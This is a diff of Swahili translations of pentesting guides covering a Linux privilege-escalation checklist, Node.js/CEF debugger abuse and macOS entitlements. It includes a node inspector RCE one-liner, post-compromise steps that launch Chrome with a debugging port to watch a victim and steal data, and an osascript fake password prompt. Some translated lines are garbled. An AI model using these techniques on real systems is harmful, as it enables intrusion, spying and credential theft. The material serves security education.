- [ ] **Orodhesha** diski zilizowekwa
 | 
			
		||||
- [ ] **Kuna diski isiyowekwa?**
 | 
			
		||||
- [ ] **Kuna creds katika fstab?**
 | 
			
		||||
 | 
			
		||||
### [**Installed Software**](privilege-escalation/index.html#installed-software)
 | 
			
		||||
@ -29,7 +29,7 @@
 | 
			
		||||
### [Processes](privilege-escalation/index.html#processes)
 | 
			
		||||
 | 
			
		||||
- [ ] Je, kuna **programu isiyojulikana inayoendesha**?
 | 
			
		||||
- [ ] Je, kuna programu inayoendesha na **haki zaidi kuliko inavyopaswa kuwa**?
 | 
			
		||||
- [ ] Je, kuna programu inayoendesha kwa **haki zaidi kuliko inavyopaswa kuwa**?
 | 
			
		||||
- [ ] Tafuta **exploits za michakato inayoendesha** (hasa toleo linaloendesha).
 | 
			
		||||
- [ ] Je, unaweza **kubadilisha binary** ya mchakato wowote unaoendesha?
 | 
			
		||||
- [ ] **Fuatilia michakato** na angalia kama kuna mchakato wa kuvutia unaoendesha mara kwa mara.
 | 
			
		||||
@ -40,7 +40,7 @@
 | 
			
		||||
- [ ] Je, [**PATH**](privilege-escalation/index.html#cron-path) inabadilishwa na cron na unaweza **kuandika** ndani yake?
 | 
			
		||||
- [ ] Kuna [**wildcard**](privilege-escalation/index.html#cron-using-a-script-with-a-wildcard-wildcard-injection) katika kazi ya cron?
 | 
			
		||||
- [ ] Baadhi ya [**script inayoweza kubadilishwa**](privilege-escalation/index.html#cron-script-overwriting-and-symlink) inatekelezwa au iko ndani ya **folda inayoweza kubadilishwa**?
 | 
			
		||||
- [ ] Je, umegundua kuwa baadhi ya **script** zinaweza au zina [**tekelezwa** mara **mara kwa mara**](privilege-escalation/index.html#frequent-cron-jobs)? (kila dakika 1, 2 au 5)
 | 
			
		||||
- [ ] Je, umegundua kuwa baadhi ya **script** zinaweza au zina [**tekelezwa mara kwa mara**](privilege-escalation/index.html#frequent-cron-jobs)? (kila dakika 1, 2 au 5)
 | 
			
		||||
 | 
			
		||||
### [Services](privilege-escalation/index.html#services)
 | 
			
		||||
 | 
			
		||||
@ -56,7 +56,7 @@
 | 
			
		||||
 | 
			
		||||
- [ ] Kuna **faili ya .socket inayoweza kuandikwa**?
 | 
			
		||||
- [ ] Je, unaweza **kuwasiliana na socket yoyote**?
 | 
			
		||||
- [ ] **HTTP sockets** zikiwa na maelezo ya kuvutia?
 | 
			
		||||
- [ ] **HTTP sockets** zikiwa na habari za kuvutia?
 | 
			
		||||
 | 
			
		||||
### [D-Bus](privilege-escalation/index.html#d-bus)
 | 
			
		||||
 | 
			
		||||
@ -66,13 +66,13 @@
 | 
			
		||||
 | 
			
		||||
- [ ] Tathmini mtandao ili kujua uko wapi
 | 
			
		||||
- [ ] **Port zilizofunguliwa ambazo huwezi kufikia kabla** ya kupata shell ndani ya mashine?
 | 
			
		||||
- [ ] Je, unaweza **kusniff traffic** ukitumia `tcpdump`?
 | 
			
		||||
- [ ] Je, unaweza **kunusa trafiki** ukitumia `tcpdump`?
 | 
			
		||||
 | 
			
		||||
### [Users](privilege-escalation/index.html#users)
 | 
			
		||||
 | 
			
		||||
- [ ] Orodha ya watumiaji/mikundi **ya jumla**
 | 
			
		||||
- [ ] Orodha ya watumiaji/vikundi **kuhesabu**
 | 
			
		||||
- [ ] Je, una **UID kubwa sana**? Je, **mashine** **inahatarishwa**?
 | 
			
		||||
- [ ] Je, unaweza [**kuinua haki kwa sababu ya kundi**](privilege-escalation/interesting-groups-linux-pe/) unalotegemea?
 | 
			
		||||
- [ ] Je, unaweza [**kuinua haki kwa sababu ya kundi**](privilege-escalation/interesting-groups-linux-pe/index.html) unalotegemea?
 | 
			
		||||
- [ ] **Data za Clipboard**?
 | 
			
		||||
- [ ] Sera ya Nywila?
 | 
			
		||||
- [ ] Jaribu **kutumia** kila **nywila inayojulikana** uliyogundua awali kuingia **na kila** **mtumiaji** anayeweza. Jaribu kuingia pia bila nywila.
 | 
			
		||||
@ -85,7 +85,7 @@
 | 
			
		||||
 | 
			
		||||
- [ ] Je, unaweza kutekeleza **amri yoyote na sudo**? Je, unaweza kuitumia KUSOMA, KUANDIKA au KUTEKELEZA chochote kama root? ([**GTFOBins**](https://gtfobins.github.io))
 | 
			
		||||
- [ ] Je, kuna **binary inayoweza kutumika ya SUID**? ([**GTFOBins**](https://gtfobins.github.io))
 | 
			
		||||
- [ ] Je, [**amri za sudo** **zimepunguziliwa** na **path**? Je, unaweza **kuzidi** vizuizi](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
 | 
			
		||||
- [ ] Je, [**amri za sudo** **zimepunguzika** na **path**? Je, unaweza **kuzidi** vizuizi](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
 | 
			
		||||
- [ ] [**Sudo/SUID binary bila path iliyotajwa**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
 | 
			
		||||
- [ ] [**SUID binary ikitaja path**](privilege-escalation/index.html#suid-binary-with-command-path)? Pita
 | 
			
		||||
- [ ] [**LD_PRELOAD vuln**](privilege-escalation/index.html#ld_preload)
 | 
			
		||||
@ -124,9 +124,9 @@
 | 
			
		||||
- [ ] **Faili zilizofichwa**
 | 
			
		||||
- [ ] **Script/Binaries katika PATH**
 | 
			
		||||
- [ ] **Faili za Mtandao** (nywila?)
 | 
			
		||||
- [ ] **Nakala za akiba**?
 | 
			
		||||
- [ ] **Nakala**?
 | 
			
		||||
- [ ] **Faili zinazojulikana ambazo zina nywila**: Tumia **Linpeas** na **LaZagne**
 | 
			
		||||
- [ ] **Utafutaji wa jumla**
 | 
			
		||||
- [ ] **Utafutaji wa Kawaida**
 | 
			
		||||
 | 
			
		||||
### [**Writable Files**](privilege-escalation/index.html#writable-files)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -4,7 +4,7 @@
 | 
			
		||||
 | 
			
		||||
## Basic Information
 | 
			
		||||
 | 
			
		||||
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Wakati umeanzishwa na swichi `--inspect`, mchakato wa Node.js unasikiliza mteja wa ufuatiliaji. Kwa **kawaida**, itasikiliza kwenye mwenyeji na bandari **`127.0.0.1:9229`**. Kila mchakato pia umepewa **kipekee** **UUID**.
 | 
			
		||||
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Wakati umeanzishwa na swichi `--inspect`, mchakato wa Node.js unasikiliza mteja wa ufuatiliaji. Kwa **kawaida**, itasikiliza kwenye mwenyeji na bandari **`127.0.0.1:9229`**. Kila mchakato pia umepewa **UUID** **maalum**.
 | 
			
		||||
 | 
			
		||||
Wateja wa mfuatiliaji lazima wajue na kubainisha anwani ya mwenyeji, bandari, na UUID ili kuungana. URL kamili itakuwa na muonekano kama `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
 | 
			
		||||
 | 
			
		||||
@ -22,37 +22,37 @@ node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and po
 | 
			
		||||
node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
 | 
			
		||||
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
 | 
			
		||||
```
 | 
			
		||||
Wakati unapoanza mchakato ulioangaliwa kitu kama hiki kitaonekana:
 | 
			
		||||
Wakati unapoanza mchakato ulioangaziwa kitu kama hiki kitaonekana:
 | 
			
		||||
```
 | 
			
		||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
 | 
			
		||||
For help, see: https://nodejs.org/en/docs/inspector
 | 
			
		||||
```
 | 
			
		||||
Mchakato unaotegemea **CEF** (**Chromium Embedded Framework**) kama unahitaji kutumia param: `--remote-debugging-port=9222` kufungua **debugger** (ulinzi wa SSRF unabaki kuwa sawa). Hata hivyo, wao **badala yake** ya kutoa kikao cha **NodeJS** **debug** kitawasiliana na kivinjari kwa kutumia [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), hii ni interface ya kudhibiti kivinjari, lakini hakuna RCE ya moja kwa moja.
 | 
			
		||||
Mchakato unaotegemea **CEF** (**Chromium Embedded Framework**) kama unahitaji kutumia param: `--remote-debugging-port=9222` kufungua **debugger** (ulinzi wa SSRF unabaki kuwa sawa). Hata hivyo, badala ya kutoa kikao cha **NodeJS** **debug**, watCommunication na kivinjari kwa kutumia [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), hii ni interface ya kudhibiti kivinjari, lakini hakuna RCE ya moja kwa moja.
 | 
			
		||||
 | 
			
		||||
Unapoanzisha kivinjari kilichokuwa na **debug** kitu kama hiki kitaonekana:
 | 
			
		||||
Unapoanzisha kivinjari kilichosahihishwa kitu kama hiki kitaonekana:
 | 
			
		||||
```
 | 
			
		||||
DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369
 | 
			
		||||
```
 | 
			
		||||
### Browsers, WebSockets and same-origin policy <a href="#browsers-websockets-and-same-origin-policy" id="browsers-websockets-and-same-origin-policy"></a>
 | 
			
		||||
 | 
			
		||||
Tovuti zinazofunguliwa kwenye kivinjari cha wavuti zinaweza kufanya maombi ya WebSocket na HTTP chini ya mfano wa usalama wa kivinjari. **Muunganisho wa awali wa HTTP** unahitajika ili **kupata kitambulisho cha kipekee cha kikao cha debugger**. **Sera ya same-origin** **inaepusha** tovuti kuwa na uwezo wa kufanya **muunganisho huu wa HTTP**. Kwa usalama wa ziada dhidi ya [**DNS rebinding attacks**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js inathibitisha kwamba **'Host' headers** za muunganisho zinapaswa kuonyesha **anwani ya IP** au **`localhost`** au **`localhost6`** kwa usahihi.
 | 
			
		||||
Tovuti zinazofunguliwa kwenye kivinjari cha wavuti zinaweza kufanya maombi ya WebSocket na HTTP chini ya mfano wa usalama wa kivinjari. **Muunganisho wa awali wa HTTP** unahitajika ili **kupata kitambulisho cha kipekee cha kikao cha debugger**. **Sera ya same-origin** **inazuia** tovuti kuwa na uwezo wa kufanya **muunganisho huu wa HTTP**. Kwa usalama wa ziada dhidi ya [**shambulio la DNS rebinding**](https://en.wikipedia.org/wiki/DNS_rebinding)**,** Node.js inathibitisha kwamba **'Host' headers** za muunganisho zinapaswa kuonyesha **anwani ya IP** au **`localhost`** au **`localhost6`** kwa usahihi.
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Hizi **mbinu za usalama zinazuia kutumia inspector** kuendesha msimbo kwa **kupeleka tu ombi la HTTP** (ambalo linaweza kufanywa kwa kutumia udhaifu wa SSRF).
 | 
			
		||||
 | 
			
		||||
### Starting inspector in running processes
 | 
			
		||||
 | 
			
		||||
Unaweza kutuma **ishara SIGUSR1** kwa mchakato wa nodejs unaoendelea ili kuufanya **uanze inspector** kwenye bandari ya kawaida. Hata hivyo, kumbuka kwamba unahitaji kuwa na ruhusa za kutosha, hivyo hii inaweza kukupa **ufikiaji wa ruhusa kwa habari ndani ya mchakato** lakini si kupanda moja kwa moja kwa ruhusa.
 | 
			
		||||
Unaweza kutuma **ishara SIGUSR1** kwa mchakato wa nodejs unaoendelea ili kuifanya **ianza inspector** kwenye bandari ya kawaida. Hata hivyo, kumbuka kwamba unahitaji kuwa na ruhusa za kutosha, hivyo hii inaweza kukupa **ufikiaji wa haki za habari ndani ya mchakato** lakini si kupanda moja kwa moja kwa haki.
 | 
			
		||||
```bash
 | 
			
		||||
kill -s SIGUSR1 <nodejs-ps>
 | 
			
		||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
 | 
			
		||||
```
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Hii ni muhimu katika kontena kwa sababu **kuzima mchakato na kuanzisha mpya** kwa `--inspect` **sio chaguo** kwa sababu **konteina** itauawa pamoja na mchakato.
 | 
			
		||||
> Hii ni muhimu katika kontena kwa sababu **kuzima mchakato na kuanzisha mpya** kwa kutumia `--inspect` **sio chaguo** kwa sababu **konteina** itauawa pamoja na mchakato.
 | 
			
		||||
 | 
			
		||||
### Unganisha na mpelelezi/debugger
 | 
			
		||||
 | 
			
		||||
Ili kuungana na **browsa inayotegemea Chromium**, URLs za `chrome://inspect` au `edge://inspect` zinaweza kufikiwa kwa Chrome au Edge, mtawalia. Kwa kubofya kitufe cha Configure, inapaswa kuhakikisha kuwa **mwenyeji wa lengo na bandari** zimeorodheshwa kwa usahihi. Picha inaonyesha mfano wa Utekelezaji wa Msimbo wa K remote (RCE):
 | 
			
		||||
Ili kuungana na **browsa inayotegemea Chromium**, URLs `chrome://inspect` au `edge://inspect` zinaweza kufikiwa kwa Chrome au Edge, mtawalia. Kwa kubofya kitufe cha Configure, inapaswa kuhakikisha kuwa **mwenyeji wa lengo na bandari** zimeorodheshwa kwa usahihi. Picha inaonyesha mfano wa Utekelezaji wa Msimbo wa K remote (RCE):
 | 
			
		||||
 | 
			
		||||
.png>)
 | 
			
		||||
 | 
			
		||||
@ -63,7 +63,7 @@ node inspect 127.0.0.1:9229
 | 
			
		||||
# RCE example from debug console
 | 
			
		||||
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
 | 
			
		||||
```
 | 
			
		||||
Chombo [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), kinaruhusu **kupata wakaguzi** wanaotembea kwa ndani na **kuiingiza msimbo** ndani yao.
 | 
			
		||||
Chombo [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug), kinaruhusu **kupata wakaguzi** wanaotembea kwa ndani na **kuingiza msimbo** ndani yao.
 | 
			
		||||
```bash
 | 
			
		||||
#List possible vulnerable sockets
 | 
			
		||||
./cefdebug.exe
 | 
			
		||||
@ -78,9 +78,9 @@ Chombo [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdeb
 | 
			
		||||
## RCE katika NodeJS Debugger/Inspector
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Ikiwa umekuja hapa kutafuta jinsi ya kupata [**RCE kutoka kwa XSS katika Electron tafadhali angalia ukurasa huu.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
 | 
			
		||||
> Ikiwa umekuja hapa kutafuta jinsi ya kupata [**RCE kutoka kwa XSS katika Electron tafadhali angalia ukurasa huu.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
 | 
			
		||||
 | 
			
		||||
Njia kadhaa za kawaida za kupata **RCE** unapoweza **kuunganisha** na Node **inspector** ni kutumia kitu kama (inaonekana kwamba hii **haitafanya kazi katika muunganisho wa Chrome DevTools protocol**):
 | 
			
		||||
Njia kadhaa za kawaida za kupata **RCE** unapoweza **kuunganisha** na **inspector** ya Node ni kutumia kitu kama (inaonekana kwamba hii **haitafanya kazi katika muunganisho na Chrome DevTools protocol**):
 | 
			
		||||
```javascript
 | 
			
		||||
process.mainModule.require("child_process").exec("calc")
 | 
			
		||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
 | 
			
		||||
@ -94,7 +94,7 @@ Katika sehemu hii nitataja tu mambo ya kuvutia ambayo nimeona watu wakitumia kut
 | 
			
		||||
 | 
			
		||||
### Parameter Injection via Deep Links
 | 
			
		||||
 | 
			
		||||
Katika [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security iligundua kwamba programu inayotegemea CEF **iliandikisha URI maalum** katika mfumo (workspaces://) ambayo ilipokea URI kamili na kisha **ikaanzisha programu inayotegemea CEF** na usanidi ambao ulikuwa unajengwa kwa sehemu kutoka kwa URI hiyo.
 | 
			
		||||
Katika [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) Rhino security iligundua kwamba programu inayotegemea CEF **iliandikisha UR**I maalum katika mfumo (workspaces://index.html) ambayo ilipokea URI kamili na kisha **ikaanzisha programu inayotegemea CEF** na usanidi ambao ulikuwa unajengwa kwa sehemu kutoka kwa URI hiyo.
 | 
			
		||||
 | 
			
		||||
Iligundulika kwamba vigezo vya URI vilikuwa vimefichuliwa URL na kutumika kuanzisha programu ya msingi ya CEF, ikiruhusu mtumiaji **kuingiza** bendera **`--gpu-launcher`** katika **mstari wa amri** na kutekeleza mambo yasiyo na mipaka.
 | 
			
		||||
 | 
			
		||||
@ -126,13 +126,13 @@ Kulingana na chapisho hili: [https://medium.com/@knownsec404team/counter-webdriv
 | 
			
		||||
 | 
			
		||||
### Baada ya Utekelezaji
 | 
			
		||||
 | 
			
		||||
Katika mazingira halisi na **baada ya kuathiri** PC ya mtumiaji anaye tumia kivinjari cha Chrome/Chromium unaweza kuzindua mchakato wa Chrome na **kuanzisha ufuatiliaji wa makosa na kuhamasisha bandari ya ufuatiliaji** ili uweze kuifikia. Kwa njia hii utaweza **kukagua kila kitu ambacho mwathirika anafanya na Chrome na kuiba taarifa nyeti**.
 | 
			
		||||
Katika mazingira halisi na **baada ya kuathiri** PC ya mtumiaji anaye tumia kivinjari kinachotegemea Chrome/Chromium unaweza kuzindua mchakato wa Chrome na **kuanzisha ufuatiliaji wa mchakato na kuhamasisha bandari ya ufuatiliaji** ili uweze kuifikia. Kwa njia hii utaweza **kuangalia kila kitu ambacho mwathirika anafanya na Chrome na kuiba taarifa nyeti**.
 | 
			
		||||
 | 
			
		||||
Njia ya siri ni **kuondoa kila mchakato wa Chrome** na kisha kuita kitu kama
 | 
			
		||||
```bash
 | 
			
		||||
Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"
 | 
			
		||||
```
 | 
			
		||||
## Marejeleo
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
- [https://www.youtube.com/watch?v=iwR746pfTEc\&t=6345s](https://www.youtube.com/watch?v=iwR746pfTEc&t=6345s)
 | 
			
		||||
- [https://github.com/taviso/cefdebug](https://github.com/taviso/cefdebug)
 | 
			
		||||
 | 
			
		||||
@ -30,7 +30,7 @@ macos-applefs.md
 | 
			
		||||
mac-os-architecture/
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
- Huduma za kawaida za mtandao wa macOS **na protokali**
 | 
			
		||||
- Huduma za kawaida za mtandao wa macOS & **protokali**
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
macos-protocols.md
 | 
			
		||||
@ -41,7 +41,7 @@ macos-protocols.md
 | 
			
		||||
 | 
			
		||||
### MacOS MDM
 | 
			
		||||
 | 
			
		||||
Katika kampuni **sistimu za macOS** zina uwezekano mkubwa wa **kusimamiwa na MDM**. Hivyo, kutoka mtazamo wa mshambuliaji ni muhimu kujua **jinsi hiyo inavyofanya kazi**:
 | 
			
		||||
Katika kampuni **sistimu za macOS** zina uwezekano mkubwa kuwa **zinadhibitiwa na MDM**. Hivyo, kutoka mtazamo wa mshambuliaji ni muhimu kujua **jinsi hiyo inavyofanya kazi**:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../macos-red-teaming/macos-mdm/
 | 
			
		||||
@ -63,7 +63,7 @@ macos-security-protections/
 | 
			
		||||
 | 
			
		||||
### Ruhusa za Faili
 | 
			
		||||
 | 
			
		||||
Ikiwa **mchakato unaotembea kama root unaandika** faili ambayo inaweza kudhibitiwa na mtumiaji, mtumiaji anaweza kuitumia hii ili **kuinua ruhusa**.\
 | 
			
		||||
Ikiwa **mchakato unaotendeka kama root unaandika** faili ambayo inaweza kudhibitiwa na mtumiaji, mtumiaji anaweza kuitumia hii ili **kuinua ruhusa**.\
 | 
			
		||||
Hii inaweza kutokea katika hali zifuatazo:
 | 
			
		||||
 | 
			
		||||
- Faili iliyotumika tayari iliumbwa na mtumiaji (inamilikiwa na mtumiaji)
 | 
			
		||||
@ -93,11 +93,11 @@ Katika macOS **programu na binaries zinaweza kuwa na ruhusa** za kufikia folda a
 | 
			
		||||
 | 
			
		||||
Hivyo, mshambuliaji anayetaka kufanikiwa kuathiri mashine ya macOS atahitaji **kuinua ruhusa zake za TCC** (au hata **kuzidi SIP**, kulingana na mahitaji yake).
 | 
			
		||||
 | 
			
		||||
Ruhusa hizi kwa kawaida hutolewa kwa njia ya **entitlements** ambayo programu imeandikwa nayo, au programu inaweza kuomba baadhi ya ufaccess na baada ya **mtumiaji kuidhinisha** zinaweza kupatikana katika **maktaba za TCC**. Njia nyingine mchakato unaweza kupata ruhusa hizi ni kwa kuwa **mtoto wa mchakato** wenye hizo **ruhusa** kwani kwa kawaida **zinarithiwa**.
 | 
			
		||||
Ruhusa hizi kwa kawaida hutolewa kwa njia ya **entitlements** ambayo programu imeandikwa nayo, au programu inaweza kuomba baadhi ya ufaccess na baada ya **mtumiaji kuidhinisha** zinaweza kupatikana katika **databases za TCC**. Njia nyingine mchakato unaweza kupata ruhusa hizi ni kwa kuwa **mtoto wa mchakato** wenye hizo **ruhusa** kwani kwa kawaida **zinarithiwa**.
 | 
			
		||||
 | 
			
		||||
Fuata viungo hivi kupata njia tofauti za [**kuinua ruhusa katika TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**kuzidi TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) na jinsi katika siku za nyuma [**SIP imezidiwa**](macos-security-protections/macos-sip.md#sip-bypasses).
 | 
			
		||||
Fuata viungo hivi kupata njia tofauti za [**kuinua ruhusa katika TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), [**kuzidi TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/index.html) na jinsi katika siku za nyuma [**SIP imezidiwa**](macos-security-protections/macos-sip.md#sip-bypasses).
 | 
			
		||||
 | 
			
		||||
## macOS Kuinua Privilege Kawaida
 | 
			
		||||
## Kuinua Privilege ya Kawaida ya macOS
 | 
			
		||||
 | 
			
		||||
Bila shaka kutoka mtazamo wa timu nyekundu unapaswa pia kuwa na hamu ya kuinua hadi root. Angalia chapisho lifuatalo kwa vidokezo vingine:
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -3,7 +3,7 @@
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
> [!WARNING]
 | 
			
		||||
> Kumbuka kwamba entitlements zinazohusisha **`com.apple`** hazipatikani kwa wahusika wengine, ni Apple pekee inayoweza kuzitoa.
 | 
			
		||||
> Kumbuka kwamba entitlements zinazohusisha **`com.apple`** hazipatikani kwa wahusika wa tatu, ni Apple pekee inayoweza kuzitoa.
 | 
			
		||||
 | 
			
		||||
## High
 | 
			
		||||
 | 
			
		||||
@ -17,23 +17,23 @@ Entitlement **`com.apple.rootless.install`** inaruhusu **kuzidi SIP**. Angalia [
 | 
			
		||||
 | 
			
		||||
### **`com.apple.system-task-ports` (iliyokuwa inaitwa `task_for_pid-allow`)**
 | 
			
		||||
 | 
			
		||||
Entitlement hii inaruhusu kupata **task port kwa mchakato wowote**, isipokuwa kernel. Angalia [**hii kwa maelezo zaidi**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
 | 
			
		||||
Entitlement hii inaruhusu kupata **task port kwa mchakato wowote**, isipokuwa kernel. Angalia [**hii kwa maelezo zaidi**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.get-task-allow`
 | 
			
		||||
 | 
			
		||||
Entitlement hii inaruhusu michakato mingine yenye entitlement **`com.apple.security.cs.debugger`** kupata task port ya mchakato unaotendewa na binary yenye entitlement hii na **kuingiza msimbo ndani yake**. Angalia [**hii kwa maelezo zaidi**](../macos-proces-abuse/macos-ipc-inter-process-communication/).
 | 
			
		||||
Entitlement hii inaruhusu michakato mingine yenye entitlement **`com.apple.security.cs.debugger`** kupata task port ya mchakato unaotendewa na binary yenye entitlement hii na **kuingiza msimbo ndani yake**. Angalia [**hii kwa maelezo zaidi**](../macos-proces-abuse/macos-ipc-inter-process-communication/index.html).
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.debugger`
 | 
			
		||||
 | 
			
		||||
Apps zenye Entitlement ya Zana za Ufuatiliaji zinaweza kuita `task_for_pid()` ili kupata task port halali kwa apps zisizosainiwa na wahusika wengine zenye entitlement ya `Get Task Allow` iliyowekwa kuwa `true`. Hata hivyo, hata na entitlement ya zana za ufuatiliaji, debuggers **haziwezi kupata task ports** za michakato ambazo **hazina entitlement ya `Get Task Allow`**, na hivyo kulindwa na Ulinzi wa Uadilifu wa Mfumo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
 | 
			
		||||
Apps zenye Entitlement ya Zana za Ufuatiliaji zinaweza kuita `task_for_pid()` ili kupata task port halali kwa apps zisizosainiwa na wahusika wa tatu zenye entitlement ya `Get Task Allow` iliyowekwa kuwa `true`. Hata hivyo, hata na entitlement ya zana za ufuatiliaji, debuggers **haziwezi kupata task ports** za michakato ambazo **hazina entitlement ya `Get Task Allow`**, na hivyo kulindwa na Ulinzi wa Uthibitisho wa Mfumo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.disable-library-validation`
 | 
			
		||||
 | 
			
		||||
Entitlement hii inaruhusu **kupakia frameworks, plug-ins, au maktaba bila kusainiwa na Apple au kusainiwa na Kitambulisho sawa na executable kuu**, hivyo mshambuliaji anaweza kutumia upakiaji wa maktaba fulani kuingiza msimbo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
 | 
			
		||||
Entitlement hii inaruhusu **kupakia frameworks, plug-ins, au maktaba bila kusainiwa na Apple au kusainiwa na Team ID** sawa na executable kuu, hivyo mshambuliaji anaweza kutumia upakiaji wa maktaba fulani kuingiza msimbo. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
 | 
			
		||||
 | 
			
		||||
### `com.apple.private.security.clear-library-validation`
 | 
			
		||||
 | 
			
		||||
Entitlement hii ni sawa sana na **`com.apple.security.cs.disable-library-validation`** lakini **badala** ya **kuondoa** uthibitishaji wa maktaba moja kwa moja, inaruhusu mchakato **kuita `csops` system call kuondoa**.\
 | 
			
		||||
Entitlement hii ni sawa sana na **`com.apple.security.cs.disable-library-validation`** lakini **badala** ya **kuondoa** uthibitisho wa maktaba moja kwa moja, inaruhusu mchakato **kuita `csops` system call kuondoa**.\
 | 
			
		||||
Angalia [**hii kwa maelezo zaidi**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.allow-dyld-environment-variables`
 | 
			
		||||
@ -42,7 +42,7 @@ Entitlement hii inaruhusu **kutumia DYLD environment variables** ambazo zinaweza
 | 
			
		||||
 | 
			
		||||
### `com.apple.private.tcc.manager` au `com.apple.rootless.storage`.`TCC`
 | 
			
		||||
 | 
			
		||||
[**Kulingana na blog hii**](https://objective-see.org/blog/blog_0x4C.html) **na** [**blog hii**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), entitlements hizi zinaruhusu **kubadilisha** database ya **TCC**.
 | 
			
		||||
[**Kulingana na blog hii**](https://objective-see.org/blog/blog_0x4C.html) **na** [**blog hii**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), entitlements hizi zinaruhusu **kubadilisha** hifadhidata ya **TCC**.
 | 
			
		||||
 | 
			
		||||
### **`system.install.apple-software`** na **`system.install.apple-software.standar-user`**
 | 
			
		||||
 | 
			
		||||
@ -74,7 +74,7 @@ TODO: Katika [**ripoti hii**](https://jhftss.github.io/The-Nightmare-of-Apple-OT
 | 
			
		||||
 | 
			
		||||
### `keychain-access-groups`
 | 
			
		||||
 | 
			
		||||
Entitlement hii inaorodhesha **makundi ya keychain** ambayo programu ina ufikiaji:
 | 
			
		||||
Entitlement hii inataja **makundi ya keychain** ambayo programu ina ufikiaji:
 | 
			
		||||
```xml
 | 
			
		||||
<key>keychain-access-groups</key>
 | 
			
		||||
<array>
 | 
			
		||||
@ -97,7 +97,7 @@ Kama kufanya ziombwe mtumiaji kwa nywila yake:
 | 
			
		||||
```bash
 | 
			
		||||
osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to activate' -e 'tell app "App Store" to display dialog "App Store requires your password to continue." & return & return default answer "" with icon 1 with hidden answer with title "App Store Alert"'
 | 
			
		||||
```
 | 
			
		||||
Au kufanya waweze kutekeleza **vitendo vya kiholela**.
 | 
			
		||||
Or kufanya ziara **vitendo vya kawaida**.
 | 
			
		||||
 | 
			
		||||
### **`kTCCServiceEndpointSecurityClient`**
 | 
			
		||||
 | 
			
		||||
@ -105,11 +105,11 @@ Inaruhusu, kati ya ruhusa nyingine, **kuandika hifadhidata ya TCC ya watumiaji**
 | 
			
		||||
 | 
			
		||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
 | 
			
		||||
 | 
			
		||||
Inaruhusu **kubadilisha** sifa ya **`NFSHomeDirectory`** ya mtumiaji ambayo inabadilisha njia ya folda yake ya nyumbani na hivyo inaruhusu **kuepuka TCC**.
 | 
			
		||||
Inaruhusu **kubadilisha** sifa ya **`NFSHomeDirectory`** ya mtumiaji ambayo inabadilisha njia ya folda yake ya nyumbani na hivyo inaruhusu **kuzidi TCC**.
 | 
			
		||||
 | 
			
		||||
### **`kTCCServiceSystemPolicyAppBundles`**
 | 
			
		||||
 | 
			
		||||
